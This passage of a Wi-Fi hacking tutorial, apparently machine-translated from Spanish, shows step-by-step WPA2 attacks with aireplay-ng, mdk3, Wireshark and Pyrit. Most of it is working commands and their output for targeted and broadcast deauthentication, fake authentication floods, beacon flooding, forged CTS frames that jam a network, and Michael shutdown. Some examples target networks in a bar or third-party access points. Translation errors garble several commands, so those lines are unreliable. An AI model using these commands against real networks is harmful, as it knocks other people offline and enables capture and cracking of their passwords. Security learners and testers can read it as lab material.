 ┌─[✗]─[root@parrot]─[/home/s4vitar]
└──╼  #  aireplay-ng -0 10 -a 20:34:FB:B1:C5:53 -c 34:41:5D:46:D1:38 wlan0mon
20:48:28 Waiting  for  beacon frame (BSSID: 20:34:FB:B1:C5:53) on channel 1
20:48:29 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [18  |  65 ACKs]
20:48:29 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [11  |  63 ACKs]
20:48:30 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
20:48:30 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [14  |  66 ACKs]
20:48:31 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [17  |  63 ACKs]
20:48:32 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
20:48:32 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [24  |  66 ACKs]
20:48:33 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
20:48:33 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
20:48:34 Sending 64 directed DeAuth (code 7).  STMAC: [34:41:5D:46:D1:38] [ 0  |  64 ACKs]
```

Now, to know if our packages are having an effect on the station, the trick is to look at the left value that appears in the values located to the right ' [18|65 **ACks]** '. Whenever this is greater than 0, this will mean that our packets are being sent correctly to the station.

If you do these practices locally, you will be able to check how your device, if it had been the victim station, would have been disconnected from the AP. On the other hand, although we will see it later, let's imagine that we now stop the attack, what do you think would happen? Notice that most of the time, devices tend to remember the access points to which they have ever been connected.

This is because of the **Probe Request** packets :

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  tshark -i wlan0mon -Y 'wlan.fc.type_subtype==4' 2>/dev/null
   49 1.516614496 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=98, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  242 9.119006178 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=112, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  473 17.062963738 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=126, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  487 17.411192451 HonHaiPr_17:91:c0 → Broadcast 802.11 240 Probe Request, SN=128, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  511 18.533411763 IntelCor_46:d1:38 → Broadcast 802.11 285 Probe Request, SN=2477, FN=0, Flags=........C, SSID=hacklab
  512 18.552100778 IntelCor_46:d1:38 → Broadcast 802.11 285 Probe Request, SN=2479, FN=0, Flags=........C, SSID=hacklab
  513 18.556049394 IntelCor_46:d1:38 → Broadcast 802.11 278 Probe Request, SN=2480, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  515 18.649006729 Google_71:cf:8c → Broadcast 802.11 195 Probe Request, SN=1719, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  516 18.650498757 Google_71:cf:8c → Broadcast 802.11 208 Probe Request, SN=1720, FN=0, Flags=........C, SSID=MOVISTAR_DF12
  517 18.669117644 Google_71:cf:8c → Broadcast 802.11 195 Probe Request, SN=1721, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
  518 18.670480133 Google_71:cf:8c → Broadcast 802.11 208 Probe Request, SN=1722, FN=0, Flags=........C, SSID=MOVISTAR_DF12
  519 18.691337428 Google_71:cf:8c → Broadcast 802.11 195 Probe Request, SN=1723, FN=0, Flags=........C, SSID=Wildcard (Broadcast)
```

And it is precisely here where the fun lies, because if the attack is stopped, what the device will automatically do is reconnect to the AP, without us having to do anything. And it is at this moment, where the Handshake will be generated:

```
CH 1 ][ Elapsed: 6 mins ][ 2019-08-08 20:54 ][ WPA handshake: 20:34:FB:B1:C5:53
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -28 100 3564 684 2 1 180 WPA2 CCMP PSK hacklab
 BSSID STATION PWR Rate Lost Frames Probe
 (not associated) 24:A2:E1:48:66:14 -87 0 - 1 0 5
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -19 0e- 6e 0 2538 hacklab
```

If we look at the upper part, the suite itself indicates **the WPA handshake** followed by the MAC address of the AP, because the Handshake corresponding to the client that we have deauthenticated and that has just been reassociated has been captured.

We'll play with the Handshake later, let's see other ways to get the Handshake first.

Global Deauthentication Attack

Now imagine that we are in a bar, a bar full of people with an access point of the establishment itself. In these cases, when a network has so many associated clients, it is more feasible to launch another type of attack, the **global deauthentication attack** .

Unlike the targeted deauthentication attack, in the global deauthentication attack, a **Broadcast MAC Address** is used as the MAC address of the target station to use. What we achieve with this MAC address is to expel all the clients that are associated with the AP.

This is even better, since it is always likely that in a sample of 20 clients, 5 of them may not be close enough to the router to carry out the attack (remember that this can be seen both from the PWR and at the level of the router **)** . of **Frames** emitted by the station). Instead of de-authenticating from client to client until we find the one that is at a considerable distance for us to capture a Handshake, it is more convenient to expel them all.

It is enough for one of all these clients to reconnect to capture a valid Handshake. It must be taken into account that it is possible to capture multiple Handshakes by different stations on the same AP, but this is not a problem.

The attack can be elaborated in 2 ways, one is as follows:

- aireplay-ng -0 0 -e hacklab -c FF:FF:FF:FF:FF:FF wlan0mon

Obtaining the following results:

```
 ┌─[root@parrot]─[/home/s4vitar]
└──╼  #  aireplay-ng -0 10 -e hacklab -c FF:FF:FF:FF:FF:FF wlan0mon
21:10:33 Waiting  for  beacon frame (ESSID: hacklab) on channel 12
Found BSSID  "  20:34:FB:B1:C5:53  "  to given ESSID  "  hacklab  "  .
21:10:33 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:34 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:34 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:35 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 1  |  0 ACKs]
21:10:36 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:36 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:36 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:37 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 1  |  0 ACKs]
21:10:37 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 0  |  0 ACKs]
21:10:38 Sending 64 directed DeAuth (code 7).  STMAC: [FF:FF:FF:FF:FF:FF] [ 2  |  0 ACKs]
```

And the other without specifying any MAC address, which by default the suite will interpret as a global deauthentication attack:

- aireplay-ng -0 0 -e hacklab wlan0mon

Getting these results:

```
 ┌─[root@parrot]─[/home/s4vitar]
└──╼  #  aireplay-ng -0 10 -e hacklab wlan0mon
21:11:46 Waiting  for  beacon frame (ESSID: hacklab) on channel 12
Found BSSID  "  20:34:FB:B1:C5:53  "  to given ESSID  "  hacklab  "  .
NB: this attack is more effective when targeting
a connected wireless client (-c  <  client  's  mac>).  21:11:46 Sending DeAuth (code 7) to broadcast -- BSSID: [20:34:FB:B1:C5:53]
 21:11:47 Sending DeAuth (code 7) to broadcast -- BSSID: [20: 34:FB:B1:C5:53]  21:11:47 Sending DeAuth (code 7) to broadcast -- BSSID:
[20:34:FB:B1:C5:53]  21:11:48 Sending DeAuth (code 7 ) to broadcast -- BSSID: [20:34:FB:B1:C5:53]  21:11:48 Sending DeAuth (code 7) to
broadcast -- BSSID: [20:34:FB:B1:C5:53]  21:11:49 Sending DeAuth (code 7) to broadcast -- BSSID: [20:34:FB:B1:C5:53]  21:11:49 Sending
DeAuth (code 7) to broadcast -- BSSID: [20: 34:FB:B1:C5:53]  21:11:50 Sending DeAuth (code 7) to broadcast -- BSSID:
[20:34:FB:B1:C5:53] 21:11:50 Sending DeAuth (code 7) to broadcast -- BSSID: [20:34:FB:B1:C5:53]  21:11:51 Sending DeAuth (code 7) to
broadcast -- BSSID: [20: 34:FB:B1:C5:53]
```

authentication attack

It may sound weird, but there is also an attack called an authentication or association attack. Through this attack, instead of expelling clients from a network, what we do is add them.

You may wonder, and what do I get with that? Good question. Our goal as attackers is to always ensure that, in one way or another, the clients of a network are reassociated to capture a Handshake.

What do you think would happen if we inject 5,000 clients into a network? Exactly, that's where the shots go. If a network has so many associated clients, the router goes crazy... We would even notice if we did it locally that the network would start to slow down, reaching the point where we would be expelled from it until the attack stopped.

Injecting a client is quite simple, we do it through the ' **-1** ' parameter of aireplay:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # echo; aireplay-ng --help | tail -n 13 | grep "\-1" | sed '/^\s*$/d' | sed 's/^ *//'; threw out
--fakeauth delay : fake authentication with AP (-1)
```

Let's imagine we have this scenario:

```
CH 6 ][ Elapsed: 30s ][ 2019-08-08 21:20
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 1C:B0:44:D4:16:78 -52 12 232 6 0 6 130 WPA2 CCMP PSK MOVISTAR_1677
 BSSID STATION PWR Rate Lost Frames Probe
 (not associated) AC:D1:B8:17:91:C0 -69 0 - 1 0 5
 (not associated) E0:B9:BA:AE:90:FB -88 0 - 1 0 1
```

Let's see how we could, for example, carry out a false authentication using our network card as a station:

```
┌─[root@parrot]─[/home/s4vitar]
└──╼ # aireplay-ng -1 0 -e MOVISTAR_1677 -h 00:a0:8b:cd:02:65 wlan0mon
21:20:28 Waiting for beacon frame (ESSID: MOVISTAR_1677) on channel 6
Found BSSID " 1C:B0:44:D4:16:78 " to given ESSID " MOVISTAR_1677 " .
21:20:28 Sending Authentication Request (Open System) [ACK]
21:20:28 Authentication successful
21:20:28 Sending Association Request
21:20:33 Sending Authentication Request (Open System) [ACK]
21:20:33 Authentication successful
21:20:33 Sending Association Request
21:20:38 Sending Authentication Request (Open System) [ACK]
21:20:38 Authentication successful
21:20:38 Sending Association Request [ACK]
21:20:38 Association successful :-) (AID: 1)
```

With the ' **-h** ' parameter, we specify the MAC address of the fake client to authenticate. If we now analyze the wireless network again, we can see that our network card appears as a client:

```
CH 6 ][ Elapsed: 30s ][ 2019-08-08 21:20
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 1C:B0:44:D4:16:78 -52 12 232 6 0 6 130 WPA2 CCMP PSK MOVISTAR_1677
 BSSID STATION PWR Rate Lost Frames Probe
 (not associated) AC:D1:B8:17:91:C0 -69 0 - 1 0 5
 (not associated) E0:B9:BA:AE:90:FB -88 0 - 1 0 1
 1C:B0:44:D4:16:78 00:A0:8B:CD:02:65 0 0 - 1 0 7
```

It should be said that this does not make us connect to the network directly and already have internet, but what a grace, we would be bypassing the security of full 802.11. What we are doing is tricking the router, making it believe that it has that associated client.

For practical purposes, for the moment this does not generate any inconvenience, so how do we now authenticate 5,000 clients? We could set up a simple script that would do it for us by generating random MAC addresses, but we already have a tool that does all the work for us, **mdk3** .

Through the **mdk3** utility , we have an attack mode ' **Authentication DoS Mode** ' that is responsible for associating thousands of clients to the target AP. This is done using the following syntax:

- mdk3 wlan0mon a -a bssidAP

Let's see it in practice, we apply the command on the one hand:

```
┌─[✗]─[root@parrot]─[/home/s4vitar]
└──╼ # mdk3 wlan0mon a -a 20:34:FB:B1:C5:53 # MAC address of hacklab AP
```

If we analyze the console where we are monitoring the AP, we can notice the following:

```
CH 12 ][ Elapsed: 1 min ][ 2019-08-08 21:27
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -27 100 819 177 2 12 180 WPA2 CCMP PSK hacklab
 BSSID STATION PWR Rate Lost Frames Probe
 (not associated) AC:D1:B8:17:91:C0 -73 0 - 1 12 25
 20:34:FB:B1:C5:53 22:19:BA:9B:7D:F5 0 0 - 1 0 1
 20:34:FB:B1:C5:53 48:47:15:5C:BB:6F 0 0 - 1 0 1
 20:34:FB:B1:C5:53 AF:3B:33:CD:E3:50 0 0 - 1 0 1
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -30 1e- 6e 0 223
 20:34:FB:B1:C5:53 3E:A1:41:E1:FC:67 0 0 - 1 0 1
```

```
20:34:FB:B1:C5:53 21:3D:DC:87:70:E9 0 0 - 1 0 1
20:34:FB:B1:C5:53 54:11:0E:82:74:41 0 0 - 1 0 1
20:34:FB:B1:C5:53 AB:B2:CD:C6:9B:B4 0 0 - 1 0 1
20:34:FB:B1:C5:53 05:17:58:E9:5E:D4 0 0 - 1 0 1
20:34:FB:B1:C5:53 31:58:A3:5A:25:5D 0 0 - 1 0 1
20:34:FB:B1:C5:53 C9:9A:66:32:0D:B7 0 0 - 1 0 1
20:34:FB:B1:C5:53 76:5A:2E:63:33:9F 0 0 - 1 0 1
20:34:FB:B1:C5:53 54:F8:1B:E8:E7:8D 0 0 - 1 0 1
20:34:FB:B1:C5:53 F2:FB:E3:46:7C:C2 0 0 - 1 0 1
20:34:FB:B1:C5:53 4A:EC:29:CD:BA:AB 0 0 - 1 0 1
20:34:FB:B1:C5:53 67:C6:69:73:51:FF 0 0 - 1 0 1
20:34:FB:B1:C5:53 3E:01:7E:97:EA:DC 0 0 - 1 0 1
20:34:FB:B1:C5:53 6B:96:8F:38:5C:2A 0 0 - 1 0 1
20:34:FB:B1:C5:53 EC:B0:3B:FB:32:AF 0 0 - 1 0 1
20:34:FB:B1:C5:53 3C:54:EC:18:DB:5C 0 0 - 1 0 1
20:34:FB:B1:C5:53 02:1A:FE:43:FB:FA 0 0 - 1 0 1
20:34:FB:B1:C5:53 AA:3A:FB:29:D1:E6 0 0 - 1 0 1
20:34:FB:B1:C5:53 05:3C:7C:94:75:D8 0 0 - 1 0 1
20:34:FB:B1:C5:53 BE:61:89:F9:5C:BB 0 0 - 1 0 1
20:34:FB:B1:C5:53 A8:99:0F:95:B1:EB 0 0 - 1 0 1
20:34:FB:B1:C5:53 F1:B3:05:EF:F7:00 0 0 - 1 0 1
20:34:FB:B1:C5:53 E9:A1:3A:E5:CA:0B 0 0 - 1 0 1
20:34:FB:B1:C5:53 CB:D0:48:47:64:BD 0 0 - 1 0 1
20:34:FB:B1:C5:53 1F:23:1E:A8:1C:7B 0 0 - 1 0 1
20:34:FB:B1:C5:53 64:C5:14:73:5A:C5 0 0 - 1 0 1
20:34:FB:B1:C5:53 5E:4B:79:63:3B:70 0 0 - 1 0 1
20:34:FB:B1:C5:53 64:24:11:9E:09:DC 0 0 - 1 0 1
20:34:FB:B1:C5:53 AA:D4:AC:F2:1B:10 0 0 - 1 0 1
```

Exactly, a crazy number of associated clients that I don't even manage to select from the length of the list. Almost immediately, the network begins to slow down and becomes temporarily inoperative, expelling even the most distant customers or those with poor WiFi signal.

CTS Frame Attack

A rather interesting attack, which can even render a wireless network inoperative for a long period of time, even if we stop the attack.

What we will do is open **Wireshark on the one hand, capturing CTS** (Clear-To-Send) type packets :

I recommend researching this type of packet together with **RTS** , they have a very nice story against the **hidden node** problem , avoiding the famous frame collisions.

A CTS packet generally has 4 fields:

- Frame Control
- Duration
- RA (Receiver Address)
- FCS

The time field for such a packet can be seen quickly from Wireshark (**304 microseconds**):

What we will do once we have a **CTS** packet is to export said packet in a ' **Wireshark/tcpdump/... -pcap** ' format:

If we analyze the capture, we will see that the data contemplated remains the same:

Once this point is reached, in my case I will use the ' **ghex** ' tool to open the capture with a hexadecimal editor:

In this part it is important to make the following distinction:

- The last 4 values: 11 D1 13 85 correspond to the FCS, they must be computed for each variation that we make on the rest of the values. Let's not worry about it though... as Wireshark itself will give it to us :)
- The 6 values before the FCS: **30 45 96 BF 9D 2C** , correspond to the MAC address of the router. Obviously, this value should be changed to the desired one.
- The 2 values before the FCS: **30 01** , correspond to the time in microseconds put in hexadecimal and **Little Endian** .

For the last point, in case there have been any confusions:

There we see that they correspond to 304 microseconds. Now, this is where the attack vector comes in, let's see what would be the value in hexadecimal of the maximum allowed value (**30,000 microseconds**):

Let's try from **ghex** to substitute the value of 304 microseconds to 30,000 microseconds, putting its representation in hexadecimal and Little Endian:

NOTE : I have also specified the MAC address of the target AP in **ghex** (**64:D1:54:88:BA:3C**)

We might think it's that simple, but no. **Remember that for each change made, the value of the FCS** must be computed , otherwise the packet is invalid. One can choose to eat your head and try to do it manually, but another way is to save and open that own capture from **Wireshark** :

As we can see, it is wonderful, since **Wireshark** itself already gives us the value of the **FCS** that we need for the manipulated capture.

Therefore, we pay attention to it and change it (remember the Little Endian, it also applies to this case):

Once we have reached this point, we save the capture and try to open it again from Wireshark:

This is good news, because we don't get any type of error, we have built a valid package!

Now is when the fun part comes, let's inject said packet at the network level:

As we can see, a total of 10,000 CTS -type packets have been processed with a total time of 30,000 microseconds for each one. On top of that we have added the ' **--topspeed** ' parameter to prevent the next packet from being sent once the previous one has finished sending, causing all of them to remain in the queue.

Here we can see the values of each of these packets sent:

Result?, what is known as a hijacking of bandwidth, making the network completely inoperative for a long period of time. I do not recommend doing the attack on our own network.

Beacon Flood Mode Attack

A **beacon** is a packet that contains information about the access point, such as what channel it is on, what type of encryption it uses, what the network is called, etc.

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop]
└──╼  #  tshark -i wlan0mon -Y "wlan.fc.type_subtype==0x8" 2>/dev/null
    1 0.000000000 AskeyCom_d4:16:78 → Broadcast 802.11 328 Beacon frame, SN=1585, FN=0, Flags=........C, BI=100, SSID=MOVISTAR_1677
    2 0.307210202 AskeyCom_d4:16:78 → Broadcast 802.11 328 Beacon frame, SN=1588, FN=0, Flags=........C, BI=100, SSID=MOVISTAR_1677
    3 0.614413670 AskeyCom_d4:16:78 → Broadcast 802.11 328 Beacon frame, SN=1591, FN=0, Flags=........C, BI=100, SSID=MOVISTAR_1677
    4 0.921614210 AskeyCom_d4:16:78 → Broadcast 802.11 328 Beacon frame, SN=1594, FN=0, Flags=........C, BI=100, SSID=MOVISTAR_1677
```

The peculiarity of beacons is that they are transmitted in the clear, since network cards and other devices need to be able to pick up this type of packet and extract the information necessary to connect.

Through the **mdk3** tool , we can generate an attack known as **Beacon Flood Attack** , generating a bunch of Beacon packets with false information. What do we achieve with this? Well, one of the classic attacks would consist of generating lots of access points located on the same channel as a target access point, thus managing to damage the wave spectrum of the network, leaving it inoperative and invisible by the users.

```
┌─[root@parrot]─[/home/s4vitar/Desktop]
└──╼  #  for i in $(seq 1 10);  do echo "MyNetwork$i" >> networks.txt;  donate
┌─[root@parrot]─[/home/s4vitar/Desktop]
└──╼  #  cat redes.txt
MyNetwork1
MyNetwork2
MyNetwork3
MyNetwork4
MyNetwork5
MyNetwork6
MyNetwork7
MyNetwork8
MyNetwork9
MyNetwork10
┌─[root@parrot]─[/home/s4vitar/Desktop]
└──╼  #  mdk3 wlan0mon b -f redes.txt -a -s 1000 -c 7
```

In this case, we would be generating a good handful of access points with the **ESSIDs** listed in the file, all of them positioned on channel 7. For the curious, the parameter ' **-a** ' is responsible for advertising WPA2 networks, and the parameter ' **-s** ' sets the rate of packets sent per second, which by default is set to 50.

In case you want to see how everything would look from a third party device trying to scan or list the available access points in the environment:

In fact, even if you want to cause curiosity in the environment, if you run this attack mode with **mdk3** without specifying parameters:

- mdk3 wlan0mon b

We would be generating access points with random **ESSID's :**

Disassociation Amok Mode Attack

This really does not stop resembling a targeted de-authentication attack, but by culture, **mdk3** has some **Black List/White List** operation modes , from which we can specify which clients we want not to be deauthenticated from the AP, adding to them in a White List and vice versa.

To build the attack, we simply have to create a file with the MAC addresses of the clients that we want to de-authenticate from the AP. Later, we run **mdk3** specifying the attack mode and the channel the network is on:

Michael Shutdown Exploitation

As the description of the utility itself says:

```
"Can shut down APs using TKIP encryption and QoS Extension with 1 sniffed and 2 injected QoS Data Packets"
```

That is, we can get to turn off a router through this attack.

NOTE: In practice, it is not very effective.

The syntax would be the following:

- mdk3 wlan0mon m -t bssidAP

Passive Techniques

Everything seen so far requires intervention on our part on the attacker's side.

We would have a way to act passively to obtain the Handshake, and it is simply to arm ourselves with courage and be patient.

We could wait until some of the associated stations have a bad signal, disconnect and automatically reassociate without us having to do anything. We could wait until suddenly someone new that was already associated with the network in the past, associates with the AP again. It could be done in a lot of different ways.

The important thing about all this is that the Handshake does not have to be generated based on the reauthentication of the client to the network, but only if we have expelled it from the network. I mean, the handshake has nothing to do with the de-authentication attack to force the client to reconnect to the network.

The Handshake will always be generated when the client reconnects to the network, either by our active means or without doing anything at will of the signal quality between the station and the AP, or by the own client that has reconnected for 'X' reasons.

Handshake validation with Pyrit

So far we have seen techniques to capture a Handshake. Now, sometimes, it can happen that the aircrack-ng suite tells us that it has captured a Handshake when it really hasn't, it wouldn't be the first time this has happened to me.

What better than validating the capture with another tool? With **pyrit** . Pyrit is a beastly tool for cracking, trap analysis and monitoring of wireless networks. One of the available modes is a kind of ' **checker** ', with which we can analyze the capture to see if it has a **Handshake** or not.

For example, let's imagine that we have captured a supposed Handshake from a wireless network, or at least that's what we see from **aircrack-ng** . If we wanted to now validate it from **Pyrit** , we would do the following on the '.cap' capture:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pyrit -r Capture-01.cap analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  Capture-01.cap  '  (1/1)...
Parsed 2 packets (2 802.11-packets), got 1 AP(s) #  1: AccessPoint 1c:b0:44:d4:16:78 ('MOVISTAR_1677'):
No valid EAOPL-handshake + ESSID detected.
```

As we see, ' **No valid EAOPL-handshake + ESSID detected.** ', so the capture does not have any Handshake.

Now let's see a case where it does report that the capture has a valid Handshake:

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #  pyrit -r Capture-02.cap analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  Capture-02.cap  '  (1/1)...
Parsed 63 packets (63 802.11-packets), got 1 AP(s) #  1: AccessPoint 20:34:fb:b1:c5:53 ('hacklab'):  #  1: Station 34:41:5d:46:d1:38, 1
handshake(s):  #  1: HMAC_SHA1_AES, good* spread 1
```

As can be seen, the **hacklab** network has a Handshake generated by the station **34:41:5d:46:d1:38** , which is even great for us, because that way we have a trace of everything related to said capture, including the name of the wireless network in case the name of our capture does not identify the AP.

Catch treatment and filter

It should be said that when capturing a Handshake, we capture perhaps more than we need during the waiting time. The final capture can be processed to simply extract the most relevant information from the AP, which would be the **eapol** .

With the tshark tool , we can generate a new capture filtering only the packets we are interested in from the previous capture:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #  tshark -r Capture-02.cap -Y "eapol" 2>/dev/null
   34 7.903744 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 133 Key (Message 1 of 4)
   36 7.907316 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 155 Key (Message 2 of 4)
   40 7.912448 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 189 Key (Message 3 of 4)
   42 7.914483 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 133 Key (Message 4 of 4)
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #  tshark -r Capture-02.cap -Y "eapol" 2>/dev/null -w filteredCapture
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #  pyrit -r filteredCapture analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  filteredCapture  '  (1/1)...
Parsed 4 packets (4 802.11-packets), got 1 AP(s) #  1: AccessPoint 20:34:fb:b1:c5:53 ('None'):  #  1: Station 34:41:5d:46:d1:38, 1
handshake(s):  #  1: HMAC_SHA1_AES, good, spread 1
No valid EAOPL-handshake + ESSID detected.
```

And as we can see, it keeps notifying us that there is 1 valid Handshake from the specified station. However, we see that now in the 'ESSID' field of the network it says **None** . This is so since the **eapol** field does not store that type of information.

Now is when we recap, what type of package is the one that stores this information?... Exactly, the **Beacon** packages , therefore we can adjust our filter a little more to continue discarding unnecessary packages but filtering some more information regarding to our victim AP, making use of the **OR** operator :

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #  tshark -r Capture-02.cap -Y "wlan.fc.type_subtype==0x08 || eapol" 2>/dev/null
    1 0.000000 XiaomiCo_b1:c5:53 → Broadcast 802.11 239 Beacon frame, SN=1893, FN=0, Flags=........, BI=100, SSID=hacklab
   34 7.903744 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 133 Key (Message 1 of 4)
   36 7.907316 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 155 Key (Message 2 of 4)
   40 7.912448 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 189 Key (Message 3 of 4)
   42 7.914483 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 133 Key (Message 4 of 4)
```

In this case, we see that there has been a captured Beacon packet, indicating the ESSID name at the end of the first line.

If we export said capture and analyze now from **Pyrit** :

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #  tshark -r Capture-02.cap -Y "wlan.fc.type_subtype==0x08 || eapol" 2>/dev/null -w filteredCapture
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #  pyrit -r filteredCapture analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  filteredCapture  '  (1/1)...
Parsed 5 packets (5 802.11-packets), got 1 AP(s) #  1: AccessPoint 20:34:fb:b1:c5:53 ('hacklab'):  #  1: Station 34:41:5d:46:d1:38, 1
handshake(s):  #  1: HMAC_SHA1_AES, good, spread 1
```

The **'None'** field is replaced by the **ESSID** of the network.

NOTE : In my opinion, I recommend using the following filtering for this type of case, where in addition to Beacon packets it is preferable to also filter by **Probe Response** packets .

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #  tshark -r Capture-02.cap -Y "wlan.fc.type_subtype==0x08 || wlan.fc.type_subtype==0x05 || eapol" 2>/dev/null
    1 0.000000 XiaomiCo_b1:c5:53 → Broadcast 802.11 239 Beacon frame, SN=1893, FN=0, Flags=........, BI=100, SSID=hacklab
    3 0.374849 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2287, FN=0, Flags=........, BI=100, SSID=hacklab
    5 0.586817 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    6 0.590400 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    7 0.594497 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
    8 0.596543 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
    9 0.600640 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
   10 0.602688 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
   11 0.605759 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=....R..., BI=100, SSID=hacklab
   12 0.610367 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2288, FN=0, Flags=........, BI=100, SSID=hacklab
   13 4.188928 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 802.11 229 Probe Response, SN=1935, FN=0, Flags=........, BI=100, SSID=hacklab
   34 7.903744 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 133 Key (Message 1 of 4)
   36 7.907316 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 155 Key (Message 2 of 4)
   40 7.912448 XiaomiCo_b1:c5:53 → IntelCor_46:d1:38 EAPOL 189 Key (Message 3 of 4)
   42 7.914483 IntelCor_46:d1:38 → XiaomiCo_b1:c5:53 EAPOL 133 Key (Message 4 of 4)
  112 8.252481 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
  113 8.259649 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=........, BI=100, SSID=hacklab
  114 8.261696 XiaomiCo_b1:c5:53 → HonHaiPr_17:91:c0 802.11 210 Probe Response, SN=2292, FN=0, Flags=....R..., BI=100, SSID=hacklab
